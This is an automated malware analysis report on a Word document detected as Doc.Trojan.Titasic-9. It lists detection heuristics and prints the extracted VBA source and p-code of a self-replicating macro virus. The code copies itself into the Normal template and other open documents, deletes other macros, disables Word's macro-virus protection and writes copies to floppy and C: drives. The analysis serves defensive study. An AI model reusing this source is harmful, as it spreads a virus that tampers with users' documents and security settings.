MALICIOUS
256
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The file exhibits characteristics of a legacy WordBasic macro-virus and contains VBA macros, specifically AutoOpen and Auto_Close, which are commonly used to execute malicious code immediately upon document opening. ClamAV detections further confirm its malicious nature, identifying it as Doc.Trojan.Titasic-9. The VBA script appears to be designed to manipulate macros and potentially embed further malicious content.
Heuristics 6
-
ClamAV: Doc.Trojan.Titasic-9 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Titasic-9
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
nmak.CodeModule.DeleteLines 1, nmak.CodeModule.CountOfLines -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
AutoOpen -
Auto_Close macro low OLE_VBA_AUTOCLOSEAuto_Close macroMatched line in script
Sub AutoClose() -
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 20801 bytes |
SHA-256: fba78bf91721277ea4f294ca10c9d8882663ebd8fa2293417596f5cb0ad21df0 |
|||
|
Detection
ClamAV:
Doc.Trojan.Titasic-9
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "Pure"
Public AD As Object, aDes As Variant
Public Lain As Boolean, afound As Boolean, hapus As Boolean, reset As Boolean, aExc As Boolean, DocCount As Boolean
Function Main()
Dim nmak(1) As String
Dim NT As Object
Dim aSrc$
On Error GoTo selesai
nmak(0) = "Pure"
nmak(1) = "Coffee"
aSrc = MacroContainer
Set NT = NormalTemplate
If Not DocCount Then
Set AD = ActiveDocument
ElseIf aSrc <> "pc.dot" Then
aSrc = NT
End If
If aSrc = NT Then
aSrc = NT.FullName: Set aDes = AD
ElseIf aSrc = AD Then
aSrc = AD.FullName: Set aDes = NT
ElseIf aSrc = "pc.dot" Then
Set aDes = NT
aSrc = Options.DefaultFilePath(8) & "\pc.src"
End If
Buang aDes
With aDes.VBProject
If Not (Not hapus And .Description = "Pure" And .VBComponents.Count > 2) Then
Tempel aSrc, aDes, nmak
hapus = False
.Description = "Pure"
If aDes = NT Then
Options.SaveInterval = 0
CustomizationContext = NT
CommandBars("Tools").reset
KeyBindings.Add KeyCode:=BuildKeyCode(77, 1024), KeyCategory:=1, _
Command:="ToolsRecordMacroStart"
aDes.Save
End If
Else
GoTo Aksi
End If
End With
If afound = True Then Exit Function
Refresh
On Error Resume Next
Aksi:
If aExc = True Then Exit Function
Exit Function
selesai:
If Err.Number = 50289 Then MsgBox "Siip ... sesuatu yang diproteksi itu terkadang memang lebih aman", vbInformation, "Pure Coffee !"
End Function
Sub Buang(Sfile)
Dim nmak As Object
For Each nmak In Sfile.VBProject.VBComponents
If nmak.Name = "NewMacros" Then Lain = True
If nmak.Name <> "ThisDocument" And nmak.Name <> "NewMacros" _
And nmak.Name <> "Pure" And nmak.Name <> "Coffee" Then
hapus = True
If reset Then
Application.OrganizerDelete Sfile.FullName, nmak.Name, 3
Else
nmak.CodeModule.DeleteLines 1, nmak.CodeModule.CountOfLines
End If
End If
Next nmak
End Sub
Sub Tempel(Sfile, Dfile, nmak)
Dim aNmak
For Each aNmak In nmak
Application.OrganizerCopy Sfile, Dfile.FullName, aNmak, 3
Next
End Sub
Sub FileOpen()
WBT
If Dialogs(80).Show <> 0 Then
WBF
AutoOpen
Else
WBF
End If
End Sub
Sub AutoOpen()
Application.EnableCancelKey = wdCancelDisabled
Main
If Documents.Count > 1 Then
For i = 1 To Documents.Count
If Documents(i).Name <> ActiveDocument.Name Then
Set AD = Documents(i)
DocCount = True
hapus = False
Main
End If
Next
End If
Chika
End Sub
Sub ViewVBCode()
WBT
End Sub
Sub AutoExec()
On Error Resume Next
If MacroContainer <> NormalTemplate Then
aExc = True
Main
WBT
AddIns.Unload False
WBF
End If
Application.EnableCancelKey = wdCancelDisabled
End Sub
Sub AutoExit()
Dim aAddin As Object
On Error GoTo batal
WBT
If Documents.Count <> 0 Then Documents.Close
Options.DefaultFilePath(2) = Options.DefaultFilePath(6)
afound = True
For Each aAddin In AddIns
If aAddin.Name = "pc.dot" Then afound = False
Next aAddin
If afound = True Then
Application.Visible = False
Documents.Add
Main
With ActiveDocument
.SaveAs FileName:=Options.DefaultFilePath(8) & "\pc.src", FileFormat:=wdFormatDocument, AddToRecentFiles:=False
.SaveAs FileName:=Options.DefaultFilePath(8) & "\pc.dot", FileFormat:=wdFormatTemplate, AddToRecentFiles:=False
End With
End If
Application.Quit
batal:
WBF
End Sub
Sub ToolsMacro()
WBF
On Error GoTo batal
Buang ActiveDocument
If Lain Then
If MacroContainer = ActiveDocument Then Application.Run NormalTemplate.VBProject.Name & ".astia.ToolsMacro": Exit Sub
Application.DisplayAlerts = 0
With Dialogs(215)
.Description = "Please ... beri gue kesempatan untuk menetap di sini !"
If .Display = 1 Then .Execute
End With
Application.DisplayAlerts = -1
Else
ViewVBCode
End If
batal:
End Sub
Sub FileTemplates()
WBF
If Not reset Then Dialogs(87).Display
End Sub
Sub FormatStyle()
WBF
Dialogs(180).Show
End Sub
Function Refresh()
reset = True
FileTemplates
Buang aDes
End Function
Sub AutoClose()
Application.DisplayAlerts = -1
With Options
.SaveNormalPrompt = False
.SaveInterval = 0
.VirusProtection = False
End With
If ActiveWindow.Caption <> "Coffee" And InStr(1, ActiveDocument.Name, "Docume", 1) = 0 _
And ActiveDocument.Name <> "pc.dot" Then Main
nyebar
End Sub
Sub FileExit()
AutoExit
End Sub
Sub ToolsOptions()
Options.DefaultFilePath(wdUserTemplatesPath) = "C:\Program Files\Microsoft Office\Templates"
Dialogs(wdDialogToolsOptions).Show
Options.DefaultFilePath(wdUserTemplatesPath) = Application.Path
End Sub
Function WBT()
WordBasic.DisableAutoMacros True
End Function
Function WBF()
WordBasic.DisableAutoMacros False
End Function
Sub nyebar()
On Error GoTo sia
If Dir("a:\chika.doc") = "" Then
ActiveDocument.SaveAs "a:\chika.doc"
ActiveDocument.Saved = True
ActiveDocument.Close
Else
ActiveDocument.SaveAs "c:\chika.doc"
ActiveDocument.Saved = True
ActiveDocument.Close
End If
sia:
End Sub
Sub Chika()
On Error GoTo sia2
If WeekDay(Date) = 3 Then
Application.Visible = False
Coffee.Show
End If
sia2:
End Sub
Attribute VB_Name = "Coffee"
Attribute VB_Base = "0{16ADD3CB-4338-4890-A6A4-7FE409CCDFC1}{45390458-092D-468C-A4E7-A316199400DE}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub CommandButton1_Click()
Unload Me
Application.Visible = True
End
End Sub
Private Sub UserForm_Click()
End Sub
' Processing file: /tmp/qstore_cjkpb_u6
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 1122 bytes
' Macros/VBA/Pure - 10801 bytes
' Line #0:
' Dim (Public)
' VarDefn AD (As Object)
' VarDefn aDes (As Variant)
' Line #1:
' Dim (Public)
' VarDefn Lain (As Boolean)
' VarDefn afound (As Boolean)
' VarDefn hapus (As Boolean)
' VarDefn reset (As Boolean)
' VarDefn aExc (As Boolean)
' VarDefn DocCount (As Boolean)
' Line #2:
' FuncDefn (Function Main())
' Line #3:
' Dim
' OptionBase
' LitDI2 0x0001
' VarDefn nmak (As String)
' Line #4:
' Dim
' VarDefn NT (As Object)
' Line #5:
' Dim
' VarDefn aSrc
' Line #6:
' OnError selesai
' Line #7:
' LitStr 0x0004 "Pure"
' LitDI2 0x0000
' ArgsSt nmak 0x0001
' Line #8:
' LitStr 0x0006 "Coffee"
' LitDI2 0x0001
' ArgsSt nmak 0x0001
' Line #9:
' Line #10:
' Ld MacroContainer
' St aSrc
' Line #11:
' SetStmt
' Ld NormalTemplate
' Set NT
' Line #12:
' Ld DocCount
' Not
' IfBlock
' Line #13:
' SetStmt
' Ld ActiveDocument
' Set AD
' Line #14:
' Ld aSrc
' LitStr 0x0006 "pc.dot"
' Ne
' ElseIfBlock
' Line #15:
' Ld NT
' St aSrc
' Line #16:
' EndIfBlock
' Line #17:
' Line #18:
' Ld aSrc
' Ld NT
' Eq
' IfBlock
' Line #19:
' Ld NT
' MemLd FullName
' St aSrc
' BoS 0x0000
' SetStmt
' Ld AD
' Set aDes
' Line #20:
' Ld aSrc
' Ld AD
' Eq
' ElseIfBlock
' Line #21:
' Ld AD
' MemLd FullName
' St aSrc
' BoS 0x0000
' SetStmt
' Ld NT
' Set aDes
' Line #22:
' Ld aSrc
' LitStr 0x0006 "pc.dot"
' Eq
' ElseIfBlock
' Line #23:
' SetStmt
' Ld NT
' Set aDes
' Line #24:
' LitDI2 0x0008
' Ld Options
' ArgsMemLd DefaultFilePath 0x0001
' LitStr 0x0007 "\pc.src"
' Concat
' St aSrc
' Line #25:
' EndIfBlock
' Line #26:
' Line #27:
' Ld aDes
' ArgsCall Buang 0x0001
' Line #28:
' StartWithExpr
' Ld aDes
' MemLd VBProject
' With
' Line #29:
' Ld hapus
' Not
' MemLdWith Description
' LitStr 0x0004 "Pure"
' Eq
' And
' MemLdWith VBComponents
' MemLd Count
' LitDI2 0x0002
' Gt
' And
' Paren
' Not
' IfBlock
' Line #30:
' Ld aSrc
' Ld aDes
' Ld nmak
' ArgsCall Tempel 0x0003
' Line #31:
' LitVarSpecial (False)
' St hapus
' Line #32:
' LitStr 0x0004 "Pure"
' MemStWith Description
' Line #33:
' Ld aDes
' Ld NT
' Eq
' IfBlock
' Line #34:
' LitDI2 0x0000
' Ld Options
' MemSt SaveInterval
' Line #35:
' Ld NT
' St CustomizationContext
' Line #36:
' LitStr 0x0005 "Tools"
' ArgsLd CommandBars 0x0001
' ArgsMemCall reset 0x0000
' Line #37:
' LineCont 0x0004 10 00 08 00
' LitDI2 0x004D
' LitDI2 0x0400
' ArgsLd BuildKeyCode 0x0002
' ParamNamed KeyCode
' LitDI2 0x0001
' ParamNamed KeyCategory
' LitStr 0x0015 "ToolsRecordMacroStart"
' ParamNamed Command
' Ld KeyBindings
' ArgsMemCall Add 0x0003
' Line #38:
' Ld aDes
' ArgsMemCall Save 0x0000
' Line #39:
' EndIfBlock
' Line #40:
' ElseBlock
' Line #41:
' GoTo Aksi
' Line #42:
' EndIfBlock
' Line #43:
' EndWith
' Line #44:
' Ld afound
' LitVarSpecial (True)
' Eq
' If
' BoSImplicit
' ExitFunc
' EndIf
' Line #45:
' ArgsCall Refresh 0x0000
' Line #46:
' OnError (Resume Next)
' Line #47:
' Label Aksi
' Line #48:
' Ld aExc
' LitVarSpecial (True)
' Eq
' If
' BoSImplicit
' ExitFunc
' EndIf
' Line #49:
' ExitFunc
' Line #50:
' Label selesai
' Line #51:
' Ld Err
' MemLd Number
' LitDI4 0xC471 0x0000
' Eq
' If
' BoSImplicit
' LitStr 0x0040 "Siip ... sesuatu yang diproteksi itu terkadang memang lebih aman"
' Ld vbInformation
' LitStr 0x000D "Pure Coffee !"
' ArgsCall MsgBox 0x0003
' EndIf
' Line #52:
' EndFunc
' Line #53:
' Line #54:
' FuncDefn (Sub Buang(Sfile))
' Line #55:
' Dim
' VarDefn nmak (As Object)
' Line #56:
' StartForVariable
' Ld nmak
' EndForVariable
' Ld Sfile
' MemLd VBProject
' MemLd VBComponents
' ForEach
' Line #57:
' Ld nmak
' MemLd New
' LitStr 0x0009 "NewMacros"
' Eq
' If
' BoSImplicit
' LitVarSpecial (True)
' St Lain
' EndIf
' Line #58:
' LineCont 0x0004 0C 00 04 00
' Ld nmak
' MemLd New
' LitStr 0x000C "ThisDocument"
' Ne
' Ld nmak
' MemLd New
' LitStr 0x0009 "NewMacros"
' Ne
' And
' Ld nmak
' MemLd New
' LitStr 0x0004 "Pure"
' Ne
' And
' Ld nmak
' MemLd New
' LitStr 0x0006 "Coffee"
' Ne
' And
' IfBlock
' Line #59:
' LitVarSpecial (True)
' St hapus
' Line #60:
' Ld reset
' IfBlock
' Line #61:
' Ld Sfile
' MemLd FullName
' Ld nmak
' MemLd New
' LitDI2 0x0003
' Ld Application
' ArgsMemCall OrganizerDelete 0x0003
' Line #62:
' ElseBlock
' Line #63:
' LitDI2 0x0001
' Ld nmak
' MemLd CodeModule
' MemLd CountOfLines
' Ld nmak
' MemLd CodeModule
' ArgsMemCall DeleteLines 0x0002
' Line #64:
' EndIfBlock
' Line #65:
' EndIfBlock
' Line #66:
' StartForVariable
' Ld nmak
' EndForVariable
' NextVar
' Line #67:
' EndSub
' Line #68:
' FuncDefn (Sub Tempel(Sfile, Dfile, nmak))
' Line #69:
' Dim
' VarDefn aNmak
' Line #70:
' StartForVariable
' Ld aNmak
' EndForVariable
' Ld nmak
' ForEach
' Line #71:
' Ld Sfile
' Ld Dfile
' MemLd FullName
' Ld aNmak
' LitDI2 0x0003
' Ld Application
' ArgsMemCall OrganizerCopy 0x0004
' Line #72:
' StartForVariable
' Next
' Line #73:
' EndSub
' Line #74:
' FuncDefn (Sub FileOpen())
' Line #75:
' ArgsCall WBT 0x0000
' Line #76:
' LitDI2 0x0050
' ArgsLd Dialogs 0x0001
' MemLd Show
' LitDI2 0x0000
' Ne
' IfBlock
' Line #77:
' ArgsCall WBF 0x0000
' Line #78:
' ArgsCall AutoOpen 0x0000
' Line #79:
' ElseBlock
' Line #80:
' ArgsCall WBF 0x0000
' Line #81:
' EndIfBlock
' Line #82:
' EndSub
' Line #83:
' FuncDefn (Sub AutoOpen())
' Line #84:
' Ld wdCancelDisabled
' Ld Application
' MemSt EnableCancelKey
' Line #85:
' ArgsCall Main 0x0000
' Line #86:
' Ld Documents
' MemLd Count
' LitDI2 0x0001
' Gt
' IfBlock
' Line #87:
' StartForVariable
' Ld i
' EndForVariable
' LitDI2 0x0001
' Ld Documents
' MemLd Count
' For
' Line #88:
' Ld i
' ArgsLd Documents 0x0001
' MemLd New
' Ld ActiveDocument
' MemLd New
' Ne
' IfBlock
' Line #89:
' SetStmt
' Ld i
' ArgsLd Documents 0x0001
' Set AD
' Line #90:
' LitVarSpecial (True)
' St DocCount
' Line #91:
' LitVarSpecial (False)
' St hapus
' Line #92:
' ArgsCall Main 0x0000
' Line #93:
' EndIfBlock
' Line #94:
' StartForVariable
' Next
' Line #95:
' EndIfBlock
' Line #96:
' ArgsCall Chika 0x0000
' Line #97:
' Line #98:
' EndSub
' Line #99:
' FuncDefn (Sub ViewVBCode())
' Line #100:
' ArgsCall WBT 0x0000
' Line #101:
' EndSub
' Line #102:
' FuncDefn (Sub AutoExec())
' Line #103:
' OnError (Resume Next)
' Line #104:
' Ld MacroContainer
' Ld NormalTemplate
' Ne
' IfBlock
' Line #105:
' LitVarSpecial (True)
' St aExc
' Line #106:
' ArgsCall Main 0x0000
' Line #107:
' ArgsCall WBT 0x0000
' Line #108:
' LitVarSpecial (False)
' Ld AddIns
' ArgsMemCall Unlock 0x0001
' Line #109:
' ArgsCall WBF 0x0000
' Line #110:
' EndIfBlock
' Line #111:
' Ld wdCancelDisabled
' Ld Application
' MemSt EnableCancelKey
' Line #112:
' EndSub
' Line #113:
' FuncDefn (Sub AutoExit())
' Line #114:
' Dim
' VarDefn aAddin (As Object)
' Line #115:
' OnError batal
' Line #116:
' ArgsCall WBT 0x0000
' Line #117:
' Ld Documents
' MemLd Count
' LitDI2 0x0000
' Ne
' If
' BoSImplicit
' Ld Documents
' ArgsMemCall Close 0x0000
' EndIf
' Line #118:
' LitDI2 0x0006
' Ld Options
' ArgsMemLd DefaultFilePath 0x0001
' LitDI2 0x0002
' Ld Options
' ArgsMemSt DefaultFilePath 0x0001
' Line #119:
' LitVarSpecial (True)
' St afound
' Line #120:
' StartForVariable
' Ld aAddin
' EndForVariable
' Ld AddIns
' ForEach
' Line #121:
' Ld aAddin
' MemLd New
' LitStr 0x0006 "pc.dot"
' Eq
' If
' BoSImplicit
' LitVarSpecial (False)
' St afound
' EndIf
' Line #122:
' StartForVariable
' Ld aAddin
' EndForVariable
' NextVar
' Line #123:
' Line #124:
' Ld afound
' LitVarSpecial (True)
' Eq
' IfBlock
' Line #125:
' LitVarSpecial (False)
' Ld Application
' MemSt Visible
' Line #126:
' Ld Documents
' ArgsMemCall Add 0x0000
' Line #127:
' ArgsCall Main 0x0000
' Line #128:
' StartWithExpr
' Ld ActiveDocument
' With
' Line #129:
' LitDI2 0x0008
' Ld Options
' ArgsMemLd DefaultFilePath 0x0001
' LitStr 0x0007 "\pc.src"
' Concat
' ParamNamed FileName
' Ld wdFormatDocument
' ParamNamed FileFormat
' LitVarSpecial (False)
' ParamNamed AddToRecentFiles
' ArgsMemCallWith SaveAs 0x0003
' Line #130:
' LitDI2 0x0008
' Ld Options
' ArgsMemLd DefaultFilePath 0x0001
' LitStr 0x0007 "\pc.dot"
' Concat
' ParamNamed FileName
' Ld wdFormatTemplate
' ParamNamed FileFormat
' LitVarSpecial (False)
' ParamNamed AddToRecentFiles
' ArgsMemCallWith SaveAs 0x0003
' Line #131:
' EndWith
' Line #132:
' EndIfBlock
' Line #133:
' Ld Application
' ArgsMemCall Quit 0x0000
' Line #134:
' Label batal
' Line #135:
' ArgsCall WBF 0x0000
' Line #136:
' EndSub
' Line #137:
' FuncDefn (Sub ToolsMacro())
' Line #138:
' ArgsCall WBF 0x0000
' Line #139:
' OnError batal
' Line #140:
' Ld ActiveDocument
' ArgsCall Buang 0x0001
' Line #141:
' Ld Lain
' IfBlock
' Line #142:
' Ld MacroContainer
' Ld ActiveDocument
' Eq
' If
' BoSImplicit
' Ld NormalTemplate
' MemLd VBProject
' MemLd New
' LitStr 0x0011 ".astia.ToolsMacro"
' Concat
' Ld Application
' ArgsMemCall Run 0x0001
' BoS 0x0000
' ExitSub
' EndIf
' Line #143:
' LitDI2 0x0000
' Ld Application
' MemSt DisplayAlerts
' Line #144:
' StartWithExpr
' LitDI2 0x00D7
' ArgsLd Dialogs 0x0001
' With
' Line #145:
' LitStr 0x0036 "Please ... beri gue kesempatan untuk menetap di sini !"
' MemStWith Description
' Line #146:
' MemLdWith Display
' LitDI2 0x0001
' Eq
' If
' BoSImplicit
' ArgsMemCallWith Execute 0x0000
' EndIf
' Line #147:
' EndWith
' Line #148:
' LitDI2 0x0001
' UMi
' Ld Application
' MemSt DisplayAlerts
' Line #149:
' ElseBlock
' Line #150:
' ArgsCall ViewVBCode 0x0000
' Line #151:
' EndIfBlock
' Line #152:
' Label batal
' Line #153:
' EndSub
' Line #154:
' FuncDefn (Sub FileTemplates())
' Line #155:
' ArgsCall WBF 0x0000
' Line #156:
' Ld reset
' Not
' If
' BoSImplicit
' LitDI2 0x0057
' ArgsLd Dialogs 0x0001
' ArgsMemCall Display 0x0000
' EndIf
' Line #157:
' EndSub
' Line #158:
' FuncDefn (Sub FormatStyle())
' Line #159:
' ArgsCall WBF 0x0000
' Line #160:
' LitDI2 0x00B4
' ArgsLd Dialogs 0x0001
' ArgsMemCall Show 0x0000
' Line #161:
' EndSub
' Line #162:
' FuncDefn (Function Refresh())
' Line #163:
' LitVarSpecial (True)
' St reset
' Line #164:
' ArgsCall FileTemplates 0x0000
' Line #165:
' Ld aDes
' ArgsCall Buang 0x0001
' Line #166:
' EndFunc
' Line #167:
' FuncDefn (Sub AutoClose())
' Line #168:
' LitDI2 0x0001
' UMi
' Ld Application
' MemSt DisplayAlerts
' Line #169:
' StartWithExpr
' Ld Options
' With
' Line #170:
' LitVarSpecial (False)
' MemStWith SaveNormalPrompt
' Line #171:
' LitDI2 0x0000
' MemStWith SaveInterval
' Line #172:
' LitVarSpecial (False)
' MemStWith VirusProtection
' Line #173:
' EndWith
' Line #174:
' LineCont 0x0004 15 00 00 00
' Ld ActiveWindow
' MemLd Caption
' LitStr 0x0006 "Coffee"
' Ne
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd New
' LitStr 0x0006 "Docume"
' LitDI2 0x0001
' FnInStr4
' LitDI2 0x0000
' Eq
' And
' Ld ActiveDocument
' MemLd New
' LitStr 0x0006 "pc.dot"
' Ne
' And
' If
' BoSImplicit
' ArgsCall Main 0x0000
' EndIf
' Line #175:
' ArgsCall nyebar 0x0000
' Line #176:
' EndSub
' Line #177:
' FuncDefn (Sub FileExit())
' Line #178:
' ArgsCall AutoExit 0x0000
' Line #179:
' EndSub
' Line #180:
…
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.